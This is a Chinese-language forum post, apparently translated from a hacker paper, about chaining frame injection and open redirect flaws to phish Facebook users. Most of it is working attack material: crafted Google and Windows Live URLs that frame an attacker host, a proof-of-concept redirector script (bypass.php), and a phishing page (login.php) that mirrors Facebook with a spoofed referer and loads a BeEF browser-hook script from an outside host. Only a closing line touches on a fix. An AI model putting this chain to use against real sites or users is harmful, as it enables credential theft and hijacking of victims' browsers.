从框架注入漏洞到非法重定向
2886 点击·0 回帖
![]() | ![]() | |
![]() | 1) 框架注入漏洞的定义,描述:-------------------------------------------- 定义: 一个框架注入攻击是一个所有基于GUI的浏览器攻击,它包括任何代码如javaScript,VBScript(ActivX),Flash,AJAX(html+js+py)。代码被注入是由于脚本没有对它们正确验证。 框架弱点的注入攻击,尽管有些人可能会认为它们与HTML注入/跨站脚本是同类,我在此告诉你:“它们是不一样的。” 这是为什么: * 没有必要注入特殊控制字符,如尖括号(HTMLi/XSS) * HTMLi/XSS 过滤惯常的程序不会对项目内注入,因为我们只需要插入一个URL中的非审查的参数。 最好的解释方法就是举一个例子。大多数框架注入的问题都发生在web应用程序中,因为动态框架/iframe中没有足够的实施过滤。例如, 我们的目标有以下网址: https://www.atcpu.com /index.php?targeturl=/contact.php 我们的意图是要发动钓鱼攻击篡改的targeturl参数。我们的目标是是插入第三方网页,根据我们的控制,而不是原来的联系网页: https://www.victim.foo/index.php?targeturl=http://evil.foo/login.php 注:我们可以编码恶意pishing链接到十六进制值,在此文章内我们没有使用。 2) 针对网址作为有效载荷的描述: ------------------------------------------------------------------- 这种技术只工作在受害者已将您加入他的朋友清单内,如果Facebook的cookie数据储存在浏览器中,合法的框架注入对Facebook的组成输入一个url上的网页并命名为sharer.php。在Facebook中你将会看到,如果联系人在线或不接受时,他的朋友或如果他的个人资料是公开的。黑客将尝试添加您并获得关于您的信息。在Facebook会建议您不要让每一个不被信任的联系人加入您,因为他可以尝试破解你的帐户,如发生给你一个恶意链接。 这种攻击如何工作? 这儿是一个小的代码,可以使用Facebook保护“合法”链接注入facebook.com/sharer.php。 /--------------------------------------\ /------\ |http:// | |share | \--------------------------------------/ \------/ 使用google或Live搜索框注入作为有效载荷的攻击: 现在可以使用我们的恶意智能劫持这个。 “合法”框架注入,我们将使用一个值得“信赖”的网站,bypass.php源代码是我们的恶意重定向脚本,这将是解释下面的内容。 The source code of bypass.php is my malicious redirector script, it will be explained later in the paper. Google图像框架注入 http://www.google.fr/imgres?imgurl=http://fake_url;imgrefurl=http://evil.foo/bypass.php 或 Windows live 翻译框架注入 http://www.windowslivetranslator.com/BV.aspx?ref=internal#http://www.windowslivetranslator.com/bv.aspx?mkt=fr-FR;dl=fr;lp=en_fr;a=http://evil.foo/bypass.php 3) 重定向描述 : ----------------------------------- 重定向漏洞允许一个邪恶的用户对一个网站重定向给受害者。主要攻击媒介的这种脆弱性是pishing。只有在远程Web服务器的权限可以重定向漏洞使用恶意脚本php,javascript, vbscript ,ajax (worm)。 最常见的攻击媒介是体现在双重网址中: http://site.com/redirect?r=http://malicious_website.com 4) 利用方式,结合重定向框架注入vulnz: ---------------------------------------------------------------------- 先进的重定向和框架注入组合攻击: /-----------/ /-----------/ /-----------/ /-----------/ /-----------/ |facebook ---| google ---| bypass.php|---| login.php ---| b e e f : \-----------\ \-----------\ \-----------\ \-----------\ \-----------\ Facebook的sharer.php的输入源可能看起来像这样的脚本: ######################################################################### <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title> Welcome in my-site-is-not-secure-now.w00t</title> </head> <frameset rows="*" cols="110,*" frameborder="NO" border="0" framespacing="0"> <frame src="navigation.htm" name="navigation" frameborder="yes" scrolling=""NO" bordercolor="#0000CC" id="navigation"> <frameset rows="98,*" cols="*" framespacing="0" frameborder="NO" border="0" > <frame src="en_tete.htm" name="en-tete" frameborder="yes" scrolling="NO" bordercolor="#000000" id="en-tete"> <frame src="<?php //secure code if(isset($_GET['iframe'])) { $allowUrls = array("http://www.google.fr/imgres?imgurl=http://fake_url;imgrefurl=http://evil.foo/bypass.php"); if(in_array($_GET['iframe'], $allowUrls)) echo $_GET['iframe']; // 如果IFRAME中允许有一个网址 else // 为了显示主页(或一个错误页面) echo "accueil.htm"; } else // !!! echo "accueil.htm"; ?>" name="corps" scrolling="auto" id="corps"> </frameset> </frameset><noframes>No frames :(</noframes> </html> ######################################################################### 在Facebook中变换恶意网址链接像这样(sharer.php script): http://www.facebook.com/ext/share.php?sid=501337;h=Crew;u=p3lo 和上面的链接Facebook的概况出现像这样: ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 图片搜索结果 http://www.google.fr/imgres?imgurl=http://fake_url... ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 现在来看看我的成批输出转换程序(PoC)重定向脚本(bypass.php): ########################################################################### <head> <meta http-equiv="Content-Language" content="it"> <SCRIPT LANGUAGE="JavaScript"> if (top.frames.length!=0) top.location=self.document.location; </SCRIPT> <title>fb redirector PoC by Czy</title> </head> <body bgcolor="#99FF66"> 第一个脚本包含在head,允许杀死第一个框架的有效载荷,URL重定向到self.document.location。 第二个脚本允许重定向我的网页上,以先进的pishing页面。 <br> <br><br> </body> <br><br><script>document.location="http://evil.foo/login.php";</script><br> ############################################################################### 这是先进重定向pishing页面的来源 (login.php): ############################################################################### <?php //by Czy $referer=”http://www.facebook.com/”; // spoofing FireFox 2.0 $useragent=”Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1?; $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL, "http://www.facebook.com/"); curl_setopt ($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_USERAGENT, $useragent); curl_setopt($ch, CURLOPT_REFERER, $referer); curl_exec ($ch); curl_close ($ch); ?> <script src=”http://beefsite/beef/hook/beefmagic.js.php”></script> ############################################################################### 5) 尾声: ---------------------------- 经过长期时刻的研究,我认为最好的方式来纠正这些漏洞是保证用户离开该网页和网站域名的重定向页面。 我希望你已高兴地阅读了我的这篇文章! | |
![]() | ![]() |